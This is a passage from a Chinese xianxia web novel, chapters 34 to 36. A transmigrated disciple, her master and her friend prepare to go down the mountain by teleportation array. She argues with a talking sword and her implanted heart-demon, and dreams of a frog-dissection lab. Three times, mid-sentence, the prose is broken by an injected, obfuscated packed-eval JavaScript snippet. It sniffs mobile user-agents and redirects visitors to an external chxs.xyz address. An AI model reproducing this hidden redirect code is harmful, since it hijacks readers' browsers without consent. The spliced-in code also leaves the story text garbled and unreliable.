一时之间不知道是章存舒给自己的师兄宠物“投毒”这件事离谱,还是他脸上真情实感的惋惜神色离谱。 关云铮吐槽无能,看着章存舒脚下那只通体雪白的貂一口吞了那颗黑糖珍珠。 章存舒投喂完就低头喝了口自己碗里的奶茶,其余五人默默看他。 敢情只是走过场是吧?! 栖霜吃完黑糖珍珠,敷衍地蹭了一下章存舒的衣摆,一甩尾巴走了。 彳亍。 看来是没毒。 关云铮低头喝茶之前又嘱咐了句:“当心烫,别把珍珠一口吞了。” 旁边的闻越发出惊天动地的呛咳声。 ……还是说晚了。 34.第 34 章 楚悯的行李还没完全收拾好,关云铮也还没看过她将来这一年在归墟要住的院子,于是两人喝完奶茶就拉着手去楚悯的新院子了,把碗留给还坐在那的师门各位。 闻越早就喝完了,没跟上关云铮她们纯粹是觉得小女孩们要说悄悄话,收拾房间的话他一个男人也不便凑过去看,只能百无聊赖地坐在原地。 章存舒喝完最后一点奶茶,问他:“你想下山吗?” 闻越正心不在焉地让眼神四处打转,闻言没有第一时间反应过来,愣了一下才说:“我也能去?” 章存舒放下碗:“为何不能?” 按照一年前闻越的性子,话说到这个份上,他一定会迫不及待地同意,然后跑回去收拾下山要带的东西。 因为他一直很想拥有一把属于自己的剑。 ——虽然他偶尔抱怨仙盟一群老古板只知道尊崇剑道,但可能是他骨子里也有点刻板守旧,加上身边人的武器几乎都是剑,他有很长一段时间都是这么想的。 但撞了几次南墙之后,他就想,不要剑也行,别的武器也行,至少让他看到一点能找到趁手武器的苗头。 他就像是种不出东西的沙地,不管浇多少水,补多少肥,那些努力都会从沙子的间隙里流走,最后沙地上一点“苗头”也看不到。 章存舒落在他身上的目光很温和,没有催促,也没有质疑,哪怕他已经沉默得有些久了。 闻越捏着碗沿转了一下面前的空碗:“明日就不去了。” 章存舒似乎并不意外:“为何?” 闻越看着碗底那点褐色的茶渍:“或许是机缘未至,我……想再等等。” 章存舒没说话。 江却把几人喝完的碗收起来:“若是机缘已至,错过了,怎么办?” 闻越从茶碗上抬起视线,脸上又是那种“死猪不怕开水烫”的笑容:“会错过的就不是我的机缘。” 章存舒笑了声:“那就不去吧。” 连映没参与三人的对话,只在自己起身时在闻越后脑勺上兜了一下。 她不常做这个动作,闻越被摸得愣了一会儿,回头看时连映已经和江却一起捧着碗,走到饭堂另一边了。 章存舒正打算起身离开,闻越忽然想起什么,看向他:“云崽是不是还没有乾坤袋?”下山三天,总不能什么都装进包袱,有个乾坤袋就能少许多负担了。 他师父停下脚步,似乎若有所思:“我晚些给她。” 闻越不明所以,今日都快过完了,而且云崽还忙着跟朋友说悄悄话呢,再晚得到什么时候去?怎么感觉他师父一点也不着急? 要不他去云崽小院给一个得了,反正他有好几个。 章存舒像是看穿了他在想些什么,本来都快迈开脚步了,再度停下:“这么闲,不如明日起去给褚先生打扫藏书阁?” 闻越“噌”一下从桌边站起来,被桌腿狠狠磕了一下膝盖,顾不上揉腿,飞也似的跑了:“我去练功了!” 章存舒失笑,朝另一边的两个徒弟走过去。 奶茶渍比茶渍方便清洗得多,只用清水冲了一遍就看不出什么痕迹了,只不过可能是水牛乳的原因,摸起来有点滑腻的手感。 江却和连映正凑一起洗碗,章存舒晃悠到两人身后:“明日云崽下山,你们担不担心?” 连映头也没回:“我倒想问你,揣着忧虑装心宽。” 章存舒挑眉,走到旁边往水缸沿一靠,没个正形地继续说道:“这么明显?我觉着装得还挺像那么回事的。” 江却侧眸看他:“师父为何会选中云铮?我还以为……” 章存舒手欠似的把手悬在水缸上方,操控着缸里的水打起漩涡:“还以为我收了闻越当徒弟后,就不想再收徒弟了?” 他叹了一口沧桑的气,自问自答:“我也以为,要是再来一个闻越这样的,我得短寿十年。” 连映被逗笑:“倒是不至于。”虽然闻越确实对修道不十分上心,但调皮捣蛋的次数其实不多,只不过江却和连映都太过让人省心了,故而看向闻越时总是颇觉辣眼。 但这倒也不能怪罪于闻越,毕竟章存舒会收闻越为徒也有彼时鬼迷心窍的原因,认为这个年纪的孩子总不至于太过耗费心力,欣然同意了他入门。 人总得为一时的鬼迷心窍付出代价的。 “云崽很特别。”章存舒收了脸上那点玩笑的神色,几乎有些正色道,“她的特别不在于天赋异禀,也不在于根骨清奇,是种跟这些都没关系的特别。” 他像是有点词穷,停顿了好一会儿才接着说:“上次她去剑冢后,我去找了一次你们戚师叔。” 连映和江却的动作齐齐一顿。 章存舒装作没注意到他俩的动作:“我问她,云崽有什么地方值得她回应请求,为什么她愿意让云崽借着和她的临时感应进入剑冢,甚至进入霰照目睹她的记忆。” 不是觉得关云铮没有资格,是因为他也想不明白。 或者应该说,他从见到关云铮的第一眼就知道她不同寻常,但他不明白除了那些之外,还有些什么。 她“身上”有生与死紧密缠绕的气息,“魂灵”上有不属于此世的烙印。 然而这副模样之下,她跟他设想的却完全不同。 她好像愿意接受一切,但她始终拒绝顺从。 他以为心魔引会是她引气入体的关键,毕竟对于尚未引气入体的修道者而言,心魔引是一种能赐予力量的诅咒。 结果心魔引似乎没有对她造成任何可见的影响,她能顺利引气入体这件事,甚至没法找到一个像样的解释。 章存舒探查完她识海的那一瞬间,甚至冒出个荒诞的念头:倘若她表露出一丝一毫愿意顺从的端倪,这个世界就会毫不犹豫地把她想要的送给她。 那么引气入体会是她的顺从吗?她又顺从了什么? 那天章存舒在不熄鼎边枯坐半晌,所有想问的问题在心里转了一圈,又沉甸甸地落进五脏六腑里,最终一句也没问出口。 走时他还为自己开脱:“还没学会扶乩,之后再来看你。” 也不知道师兄那天登上来去峰的时候,师妹跟他说了些什么。 “师父。” 茶碗碰到一起的声音。 章存舒回过神,水缸里的漩涡早就停了,江却和连映一前一后地站着,用相似的神情望着他,一如许多年以前,他在流离失所之地捡到他们时。 “我去把乾坤袋给云崽。”他收回所有杂乱的思绪,对着两个靠谱的徒弟点点头,转身出去了。 **** “所以说是传送阵法?”关云铮坐在床边帮楚悯叠衣服。 楚悯点点头:“章先生方才说的,大概是在心里想一个要去的地方,然后阵法就会送你抵达。” 哦,飞路粉。 关云铮深以为然地点点头,想起这玩意儿的西方bug,问道:“那要是念头模糊,会不会传错地方?” 楚悯把下山要穿的衣服挑拣出来:“传送阵法确实有这个弊端,不过章先生方才特意解释过,这个传送阵法增加了几层保障,其中之一便是念头模糊时不进行传送。” 那岂不是一直在那干站着?胡思乱想心智不坚定什么的一眼就看出来了,怪尴尬的哈。 楚悯又补充道:“除此之外,每个学生身上都会携带一枚传送符,遇到危险时撕毁或是烧毁,就会直接传送回归墟。” 关云铮挑眉:“那确实算是稳妥,但若是传送符不慎撕毁呢?” 毕竟带在身上的纸片很容易变形扭曲什么的,问就是总忘记在把衣服丢洗衣机之前掏出兜里的纸巾。 楚悯收拾好了,把东西仔细地收进乾坤袋:“说是能辨认气息,若是被恶意撕毁,也会直接触发传送。” ??这么牛? 关云铮震惊后仰:“恶意也能被一张符纸感知吗?这符纸用什么画的?”还是说跟制作原材料没关系,单纯是制作符咒的人法力高强。 章存舒和步雁山画的?章存舒整天行踪不定,偷摸着画符咒也就算了,步雁山最近几乎每天都有课,他到底哪来这么多空余时间,晚上不睡了? 好吧,也可能强者画符咒跟她有着天壤之别,毕竟她画一张就得筋疲力尽。 楚悯摇摇头,对她问的问题做出回答:“这一点章先生没提到,不如待会儿问问他?” 关云铮点头:“不过我得先去收拾东西,待会儿去找他,顺便跟他打个招呼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951690|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “打个招呼?”楚悯疑惑,随即想起来什么,“你是说今晚去剑冢的事?” 关云铮拉着她起身:“对,现在既然你收拾完了,我就把你拐我院里去坐秋千了。” 楚悯乖乖被她拉着:“你想好明日去哪里了吗?” 关云铮回头看她:“怎么了?你已经有想法了?我还没想呢,明日再说。” 楚悯摇摇头:“只是觉得我们大概不在同一个地方。” 关云铮若有所思:“阵法大概也不会让身处同处的人太快遇到吧。” 要是愿意让他们扎堆,也不会搞传送阵法这一套了,不就是想让他们“自己”去找武器吗? 也不知道是谁想的主意。 是章存舒?他的目的是什么? 他这么突然地做决定,没有一点铺垫,掌门还跟他一起布置阵法,看来是完全不反对的了。 等等。 关云铮无端想到,有没有可能是女帝说的那个姓严的,就快来“观摩”了? 章存舒有可能是为了避开这个人,才让归墟的学生都下山吗? 她以为章存舒当时说出那句话是根本不在意那人的意思,原来根本与这事不相关吗? 还是说,这就是他给那个姓严的准备的下马威? 那确实还挺防不胜防的。 来观摩学生学习,结果学生没了。 她简直有点迫不及待地想知道那时姓严的脸色如何了,一定很精彩。 关云铮缺德地想着,穿过连廊,把楚悯安置在秋千上,以楚悯“今日搬寝舍劳累”为由拒绝了楚悯提出的帮忙请求,转身进房中收拾起自己的行李。 **** “这就是乾坤袋?”关云铮收拾完行李章存舒就来了,像是掐准了时候,一来就从怀里拿出个外观看起来平平无奇的布袋子。 没有特殊的线,没有特殊的布料,看起来甚至像个只有巴掌大的麻袋。 关云铮为自己诡异的联想沉默了一下:“能放多少东西?” 章存舒不知道从哪里又拎来一壶茶,给在座的两个姑娘各倒了一盏,端着自己那盏茶慢悠悠道:“这得看里面的扩展术阵有多大。” 关云铮“喔”一声,拿起乾坤袋摇了摇:“那这里头术阵多大?” 章存舒神色平静:“装下十把剑不在话下。” 关云铮手腕一哆嗦,差点把布袋子丢茶盏里。 她是下山去找趁手的武器,谁家好人一趁趁十把啊?哪吒都没这么多胳膊!她又不是要去进货后倒卖! “你给我设这么大的术阵做什么?我又用不上。”关云铮放下乾坤袋,“乾坤袋的重量会受里面东西多少的影响吗?” 章存舒放下茶盏,品了品茶香,满意道:“常理而言,不会。因为乾坤袋里放的一般都是有形之物,有形之物在扩展术阵中无重量,但你若是放进无形之物,乾坤袋就会把里面所有东西的重量都反映到你身上。” “还能放进无形之物?”关云铮困惑道。 章存舒没回答,反而看向楚悯:“小悯来给我们说说?” 楚悯放下茶盏:“依附于魂魄的东西是可以被收集的,可被收集便可被放入乾坤袋。” 关云铮本打算端起茶盏的手一顿,想起原身还没调查清楚的死因。 “记忆,甚至神识,都依附于魂魄,故而皆可被放入,只是,”楚悯顿了顿,“这些无形之物一旦离开持有魂魄的躯体,都会逐渐消散,除非用特殊的办法储存。” 关云铮喝不下手边的茶了。原身的死是永远也得不到妥善解决的问题,比她自己的家庭更加如影随形,每当她得意忘形,就会跳出来给她这个忘恩负义的人一巴掌,提醒她这具身体的主人死不瞑目,魂魄仍然无法得到安息。 她掩饰般地端起茶盏抿了一口,开玩笑似的接话:“这话的走向怪危险的,接下来是不是名门正派不让说的话题了?” 楚悯一愣,被她刻意为之的语气逗笑:“确乎如此。” 只是不让说,这些事情就能不发生了吗? 关云铮半口茶汤咽下许久,终于在这句玩笑话后品出味道来:是苍韫桢送给他们的正山小种。 她好像知道明日要去哪里了。 35.第 35 章 一个下午的时间转瞬即逝,连映来小院喊三人吃饭的时候,关云铮还在思考该怎么跟章存舒开口。 毕竟剑冢好像是她师门——甚至她师父的师门——共同的禁忌词。 闻越找过很多次都没有找到剑冢的入口,凌风起则是强行闯入都无法进入,至于章存舒——如果不是她上次出的岔子,他大概也不会主动往剑冢里钻。 这样显得她这样三天两头往那边跑的,不仅胆大包天还没心没肺。 轻描淡写地对待别人的痛点,有时候是很残忍的举动。 就像某个人节俭惯了,哪怕只是出门几分钟都会关掉家里的电,同行的人却在这个时候随口说了句:“我不差这点电,不关了。” 同行人可能根本没觉得自己有嘲讽的意思,但已经在节俭的那个人痛点上踩了好几脚,不痛才不正常。 当然,痛点被踩的次数多了,人总会麻木的,但关云铮并不想试探人们是否已然麻木,也不想成为那个踩痛点的人,故而在去往饭堂的路上紧缩眉头,苦于不知如何开口。 她也可以说是当时答应了摇羽,后来出于种种原因没能兑现,所以今晚要去履约。 但当时会单方面许下承诺也是因为她贸然行动,要不是江却及时赶到她也差点没了。 …… 就挺自闭的,越说越理亏。 章存舒跟会读心一样,跟着她落后几步,声音很轻,但带着几分戏谑:“发什么愁呢?” 关云铮没注意到他的突然靠近,吓了一跳,差点跳起来:“啊,我,那什么……” 章存舒托了一把她的手肘:“哪什么?” 关云铮对上章存舒看向她的视线。 她其实一直有个缺点,就是听人说话的时候不太敢看人的眼睛,好像那会让她浑身不自在一样。要是距离近得不得不看,她就会让自己的视线停留在对方脸上的某个位置,但依旧会回避目光相触。 这也就导致她对身边所有人的长相都只有一个八分准确的认知,她能通过背影认出、通过声音听出身边的人,但很多时候都不知道他们的某些面部细节长什么样子。 章存舒低头看她时她正好仓皇抬头,猝不及防撞进对方眼睛,才发现她师父长了双……相当多情的眼睛。 倒不是那种多情……关云铮又在心里给自己叠甲。 章存舒双眼的多情更像是一种收放自如的能力,平时混不正经的时候没觉得他眼睛多起眼,偶尔动用起这种“能力”来,那双眼就显得格外的……震慑人心。 此刻甚至有点像她在霰照里看见的戚寻月的双眼了。 关云铮竭力自然地转开视线,总感觉自己被看穿了:“我先前下山,就是遇见邪修那次,跟摇羽做过一个约定。” 章存舒没立马收回视线,看了会儿他小徒弟脑袋顶的发旋:“答应它要去剑冢?” 关云铮一脸惊恐地看向他,随即脸上又出现“是你说的啊,可不是我说的”之类的神情。 章存舒被逗笑:“你怕我触景伤情?” 关云铮一眼又一眼地瞟他,光偷看,也不说话,意思很明显:那不然? 章存舒摆摆手:“想去就去,不必顾忌我,正好明日下山,跟摇羽聊聊,没准行程还能因为它的配合顺利些。” 好冠冕堂……不是,正直的理由,她刚才怎么没想到。 “你知道苍韫桢为什么觉得你有意思吗?”说话间四人已经抵达饭堂,章存舒说悄悄话似的,低头在关云铮耳边说道。 关云铮一头雾水,不明白为什么这时候突然提起女帝来。 虽然她当时也确实对女帝说她很有意思的言论一头雾水。 章存舒笑着揉了一把她的脑袋:“因为你根本就不怕她,倒是会装乖。” 关云铮顶着几根翘起来的头发站在原地:? 她是被骂了吧,是吧? **** 总之晚饭后关云铮钻进房间,把快积灰的摇羽扒出来,拎着往剑冢去了。 楚悯和她一起回的小院,在她身后跟了几步:“云崽,我能一起去吗?” 关云铮已经在给待会儿可能会爆发的骂战做准备,回头时脸上气势汹汹的神色都差点没收回去,紧急揉了一把脸:“能,但是我很可能要跟摇羽吵一架。” 主打一个诚恳。 楚悯失笑:“那……我去给你助个阵?” 关云铮郑重点头,走回来拉着楚悯一起往剑冢走。 “其实有件事我一直没告诉你。”快走到菜地时,关云铮忽然来了这么一句。 楚悯和她并排走着,闻言微微侧身过来看她:“什么事?要是不便告诉我,可以不说的。” 客观上来说,好像是不太应该告诉他人,但主观上,她觉得小悯不是“他人”。 “我之前,为了家里的事情下山那次,其实遇到了邪修。”关云铮给自己的坦白找了个相对和缓的开头。 楚悯牵着她的手似乎紧了一下:“他们对你做了什么?” 关云铮伸出另外一只手摸了一下自己的眉心:“给我种了个心魔引。” 楚悯停下了脚步。 关云铮紧张地跟着停下,感觉楚悯的脸异常的紧绷。 其实真要比较年龄的话,上辈子的她比楚悯要大五六岁了,但可能是在原身的躯体里被当做小女孩对待的时间久了,她的大脑可能也开始习惯把自己当做一个十五岁左右的小女孩了。 所以此刻看到楚悯严肃的脸色,她居然觉得有点紧张。 真新鲜,楚悯这样的要是在21世纪是不是就该叫她小孩姐了? 楚悯似乎在这片刻时间想了许多事,但最后只是看向关云铮,说道:“你师父应该就是因为此事,才决定让我们下山的。” 啊? 等会儿。 意思是那个姓严的能看出她身上有心魔引吗? 关云铮的表情显然说明她想到了什么,于是楚悯一边跟她继续往山里走,一边问道:“章先生之前可曾表露出什么?” 除了当着女帝的面放过狠话,给了她一个防身的手镯,好像什么也没说啊。 她很想努力想出点什么,但她师父是真的谜语人啊? 痛苦面具脸上焊了。 楚悯没再追问,解释自己的猜想:“兄长昨日给我传信,提起了仙盟来访,说这次除了测灵根与天赋外,可能还会动用一些不寻常的手段。” “不寻常的手段?”关云铮脑子里瞬间飞过一大堆修仙文片段,什么监守自盗啊,什么道心有误啊…… 楚悯摇摇头:“仙盟将这次来访的消息瞒得很严,兄长也是昨日才知道。” 提前两天知道,好像也没有瞒得很严嘛? 楚悯的神情似乎停滞了一下,随即在关云铮不太敢相信的目光里,露出个有点心虚的神色:“只要天问愿意,这世上的事很少有能瞒得住他们的。” 哦,又悄咪咪问了是吧。 关云铮感觉自己的语气都有点苦口婆心了:“小悯,你们天问是不是都不忌惮代价的,怎么该不该知道的事都敢问?” 楚悯叹了口气,这次倒是没有回避关云铮谴责的眼神,诚恳地解释道:“天问一派像是身负诅咒,想要‘问’不承受代价,必须要通过修炼增强自己的能力,但想要变强只能不停地‘问’。” 几句话把关云铮都说心梗了,语塞片刻才嘟囔了一句:“这么死循环……” 楚悯再度停下脚步:“是不是到范围了?” 关云铮环顾一圈:“好像是?你怎么什么都知道?” 楚悯立刻投降似的笑着说:“这个是我兄长告诉我的,归墟的剑冢不是秘密。” 关云铮把摇羽从剑鞘中拔出来,不知道此刻向不熄鼎的请求能否得到回应,但还是闭上眼。 引气入体后,不熄鼎回应的感觉很微妙,像是脑海中无形的琴弦被拨动,听不见任何声音,但泛起了一圈足以确认感应成功的涟漪。 然而还没等她靠近即将向她打开的剑冢入口,一个熟悉的、不讨人喜欢的声音在她脑海中响起来。 她面不改色地往入口走,脑海中那个声音正喋喋不休:“你师父下的封印倒是有几分水平。” 关云铮挑眉,“说”道:“你也不赖,哪怕没什么威胁了但还是能开口,挺身残志坚的。” 她会在来的路上跟楚悯坦白心魔引,就是因为想到了在剑冢这个灵气满溢之地,章存舒的封印可能会松动,毕竟整座山的恒温法阵都没法遍及此处。 现在证明她既低估了章存舒,又高估了心魔引。 这玩意儿之前每次说话时,她眉心都会突突跳动,像细密的针反复地在同一块地方刺戳,但方才开口,关云铮除了脑海里能听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955139|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一点声音之外,什么感觉都没有。 心魔引居然也没生气,不知道是不是被“冷落”了几天脾气变好了,闻言只是不太高兴地冷笑了一声,接着说道:“你来剑冢做什么?取剑?” 哦,敢情也听不见她之前说的话,那章存舒的封印确实异常坚固了。 关云铮索性把它的话当“脑旁风”,丢到一边不理了。 不过她想搭理也比较困难,因为同样被冷落了好几天的摇羽开始骂骂咧咧了。 不同于只在她脑海中说话的心魔引,摇羽一开口,楚悯都被吓了一跳。 “我迟早有天被你这个小兔崽子气死!不知天高地厚,别人说话油盐不进,答应了别人的事情也不知道兑现!” 关云铮屏蔽了脑海里同样在骂她的心魔引,开始跟摇羽斗嘴:“我这不是带你来了吗,再说了你也不是人啊。” 人在心虚的时候是这样的,没法对对方的话进行逐一反驳,只好说一些没什么用的车轱辘话,在吵架的过程中,这种驴头不对马嘴、避重就轻的话只有一个效果——激怒对方。 果不其然,摇羽更生气了:“要不是我没有实体,还被你师父困在这把剑里,你信不信我立马钻出来揍你?” 所以说对比产生美这句话还是有道理的,心魔引和摇羽同时骂她的时候,摇羽的语气里只能听出不高兴,甚至还有点恨铁不成钢,但心魔引一听就能感觉到那种毫不遮掩的恶意。 也是沦落到这种地步了,在骂自己的两个东西里挑一个夸赞。 一直以来都坚决抵制烂比烂的关云铮一时之间觉得自己无比凄惨。 摇羽骂她的声音忽然一顿,随后察觉到什么似的问道:“你在走神?” 关云铮下意识回答:“嗯?我没有。” 摇羽的声音充满了狐疑:“这里还有什么声音吗?” 关云铮脑海中心魔引的声音停顿了一下。 楚悯的视线也转了过来。 她非常罕见地打了个磕巴:“那什么,心魔引。” 摇羽的声音简直炸耳朵:“你说什么?!” **** 关云铮做梦也想不到自己有朝一日会变成骂战的中间商。 心魔引一在她脑海里说点什么,摇羽就能用一种关云铮理解不了的方式察觉到,但它又听不到心魔引具体说了什么,关云铮就得被它逼着给它转述,然后摇羽就会毫不留情地喷回去,俩东西隔着关云铮的脑壳,居然吵得有来有回。 此情此景多么适合愤怒地来上一句“我可不是你们的猫头鹰”啊。 不知道吵了几个来回,关云铮都转述累了的时候,心魔引终于没动静了,也不知道是不是被摇羽的超强攻击性给震慑了,总之关云铮嗡嗡作响的脑袋终于得到了安宁,她不由得长叹了一口气。 摇羽停下话音:“它不说了?” 关云铮疲惫地“嗯”一声:“你蹭够灵气了吗?蹭够就回去了,明日还得下山。” 摇羽哼了一声:“回去呗,都给我骂累了。” 关云铮拎着剑就往回走:“原来您知道累啊。” 摇羽的语气听着很悠闲自在,从杀气满满到漫不经心简直是无缝切换:“尚可,也没那么累,只是我觉得你的灵气应该也够我用了,以后大概也不用来剑冢蹭了。” 关云铮无言低头,看了它一眼:“我还没学会自如掌控灵气呢,你对我倒是有信心。” 摇羽老神在在的:“你对我不也挺放心吗,还打算带我下山。” 。也是。 也不知道这份对彼此的信心是从何而来的。 一人一剑不约而同地陷入沉默,一旁的楚悯忍不住笑出声来。 关云铮实在是有点被吵得精神衰弱了,听见动静慢半拍地转头。 楚悯却没看她,只是抬头望了望月亮:“此次下山应该会很有意思吧。” 说话间两人已经走出了剑冢的范围,关云铮决定以后非必要绝对不来剑冢了,心魔引在自己脑子里嘚吧嘚的还能忍受,跟摇羽吵架就太耗人了,她都怕明早起不来。 “希望吧,我明早要是起不来,得麻烦你来叫我了。”关云铮哀怨地叹了口气。 摇羽灵气充沛,在剑里咋呼道:“你起不来?那交给我啊,我保证把你叫醒。” 关云铮“刷啦”一声把剑插回剑鞘:“求你闭嘴。” 36.第 36 章 和楚悯在小院门口道别,关云铮洗漱过后困意稍退,打着哈欠把自己丢上床榻,闭上眼的一瞬间感觉太阳穴都在突突跳动。 过去和朋友你一言我一语地痛斥渣男也没这么累,足以见得搬运吵架比亲自吵架累得多了,关云铮感觉自己的脑仁就像是被打进锅里的鸡蛋液,在一句接一句的骂声里逐渐被炒散了。 关云铮疲惫地数着太阳穴的跳动,神志逐渐涣散,被卷土重来的困意紧密包裹,坠入梦境中。 …… 蟾蜍在戴着橡胶手套的手中发出奇怪的“咕叽”声,像是带着黏液的皮肤不停挤动发出来的,辣眼的画面配上这音效无端掉san,像什么主打克苏鲁元素的恐怖游戏。 关云铮拿着锥子无从下手,身边的室友和她一样露出忍耐到崩溃边缘的表情,嘴上吐槽:“所以她到底是怎么做到徒手拿蟾蜍的?” 关云铮深以为然地点头:“蟾蜍不是有毒吗?她怎么敢的啊。” 生理实验课老师恐怖如斯。 另外一个室友已经果断地把蟾蜍处死了,那可怜的两栖动物在她手心徒劳地蹬腿,发出痛苦的“咕叽”声,随着脊椎被彻底破坏,终于疲累地不动了。 关云铮没抖,但跟旁边的室友一起沉默了好几秒:“死状有点凄惨。” 把蟾蜍利落处死的室友已经开始剪那可怜动物的脑袋了,闻言看她们一眼,叹了口气说道:“你们再不开始做实验,到时候期末抽到这个实验都做不出满分,才是真的死状凄惨。” 关云铮这下是真的痛苦面具了:“你别咒我,我不想挂科。” 语重心长的室友顺利剪掉了蟾蜍的脑袋,开始一脸狰狞地给剩下的部分剥皮:“到时候期末这个肯定是最简单的,而且肯定也是最容易抽到的。” 关云铮手上锥子的行进过程遭到了阻碍,她难以控制地跟着露出狰狞的神情,一边用力一边说道:“真的假的?都这么容易的话实验考试岂不是没难度?” 靠谱室友已经准备打开电脑接软件测生物电信号了,闻言回头看她一眼:“你没看后面的实验吗?用蟾蜍的和用家兔的差不多是五五开,但是蟾蜍的成本比家兔低很多,到时候考试肯定不会拿那么多家兔出来,而且家兔实验难度大,考试肯定是两人一组。” 差生关云铮已经听得晕头转向了,连手里的蟾蜍什么时候驾鹤西去了都不知道:“你已经预习到这种程度了?” 靠谱室友打开电脑软件,给她一个高深莫测的眼神:“没有,我只是刚好认识一个大二的学姐,刚才的话照搬的。” …… 关云铮这一夜睡得不太沉,因此梦到这里的时候还在迷迷糊糊地想:最后她们寝室一个和别人合作去做的家兔实验,剩下三个都抽到了蟾蜍,而且包括她在内,两个都是最简单的生物电信号检测,但她却没能拿到满分。 因为过去的每一场实验她都忘了关注电脑软件的操作,所以在实验考试时也一头雾水。 关云铮不太喜欢这个梦境,哪怕在睡梦中也用力皱了皱眉。 她深知自己从未认真学习过,也了解自己喜欢拖延的本性,至于自律,上了大学后更是与她毫不沾边,习惯了他律而不是自律的人在大学校园里摔得狼狈不堪,比过去中学时期的窘迫还要令人难堪。 关云铮在浅层睡眠里挣扎着,想要一如往常地改变走势不妙的梦境。 只是还没等她习惯性地让大脑编织一个她喜欢的梦出来,一种奇怪的声音在她的脑海中响起来,像是某种诡异的闹钟。 她下意识翻了个身睁开眼,发现天光已亮,该起床了。 **** 不知道李演怎么做到的,总之今日甘薯粥里的甘薯,居然还挺甜的。 科技与狠活吗,哦不对,顶多是术法。 关云铮一边喝粥一边琢磨刚才起床前脑子里的动静,实在琢磨不出结果,就扭头去看旁边的楚悯,两个脑袋凑在一块低声嘀咕着。 闻越困得不行,看见面前的画面终于清醒了一点,凑到连映旁边说:“她俩在一起说话的时候,怎么看着那么顺心呢。” 连映顺着他的目光看了眼,笑着说:“你也有这么像兄长的一天?” 闻越拖着碗又坐回去了:“师姐你现在说话简直像师父。”都喜欢打趣他。 章存舒正好踏进门,闻言看过来:“我怎么?” 闻越瞬间埋头喝粥。 关云铮其实有点紧张,胃口也没平时好,粥喝了一半就喝不下了,最后都是因为怕一会儿会饿,机械性地一勺勺填塞进胃里。 她到现在还没去过镜溪城以外的地方,但看章存舒和步雁山布置的阵法,大概率没有几个人会留在镜溪城,应该都会传送去别处,不然此举历练的意义也就不大了。 章存舒正想给自己盛碗粥,连映已经把另一碗推到他面前。 关云铮喝不下粥但还看得了热闹,扒着碗沿觑章存舒的表情。 “今日不是甘薯粥吗?”章存舒看了眼连映推过来的小米粥,“怎么没有我的份?” 连映语气平静:“太甜了,你别喝了。” 章存舒无言片刻,叹了口气,认命似的拿过碗。 关云铮想起昨晚章存舒说她根本不怕女帝只是装乖的话,觉得自己其实也不怎么怕章存舒。 她比较胆大包天是一方面,章存舒本身也完全没架子,连映这样管着他,他看上去完全没有意见,看起来一点也没有用师父的身份表示不高兴的样子。 没有甜粥喝的师父好可怜,关云铮眨了眨眼,就见连映又盛了一碗粥,把章存舒面前还没动过的那碗给换了:“今日这么配合?” 毕竟往日没少趁她不在偷吃甜食。 章存舒把甜粥拿到面前:“这不是知道你会给我再盛一碗吗?” 关云铮看完全程,仿佛看到靠谱长姐管不靠谱爹,感慨着原来是双向奔赴的有恃无恐。 章存舒一来,先接了闻越的话,接着跟连映玩了个无伤大雅的心眼,最后看向一直没发言的关云铮,以及坐在她旁边的楚悯。 关云铮还在走神,楚悯已经下意识又坐直了一点。 “想好待会儿要去哪了吗?”章存舒问道。 楚悯看向刚回过神的关云铮。 关云铮的想法跟原身有关,所以没想在这个场合下坦白,于是看看章存舒,示意他问楚悯就好,当她不存在。 楚悯自然读懂了氛围,思忖着说道:“我大概会去找乐器,但不知道会去哪里。” 章存舒没有直接对她的想法提出意见:“看来小悯回来后要换个教武器的先生了。” 短短两句话信息量稍微有点大。 乐器也可以作为武器的话,真能用古琴打人吗?不是物理意义那种?关云铮把脑子里暴力抡古琴的画面强行删除,继续想:换武器先生,那看来蒲飞鸢并不擅长这一类武器,换的先生又会是谁? 章存舒却没打算再多说的样子:“都准备好了的话可以出发了,掌门在等你们。” **** 传送阵法要踏进去才会显出痕迹,关云铮站在圈里,低头看地上浮起的纹路。 好的,看不懂。 也不知道之后术法课会不会教,感觉这个纹路虽然看不懂但还挺好看的。 步雁山一甩袖,浮在空中的数十张符咒自发飞入每个人手中:“遇到危险或者解决不了的情况,撕毁或是烧毁手上这张符,就会回到归墟。” 这点昨日楚悯说过了,关云铮拿着符纸仔细端详。 “若是三日已至仍无收获,阵法会将各位强行召回,诸位都是各派选中的新入门弟子,你们的性命安全比武器更重要,这次寻不到以后也有机会,希望各位不要强求,顺应自然。”步雁山又补充道,随即他退出阵法,到一边的空地上站定。 “现在,请在心中默念自己的目的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958778|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 关云铮下意识闭上眼睛,手里攥着那张符纸。 不够明确、语焉不详的想法会导致无法传送。 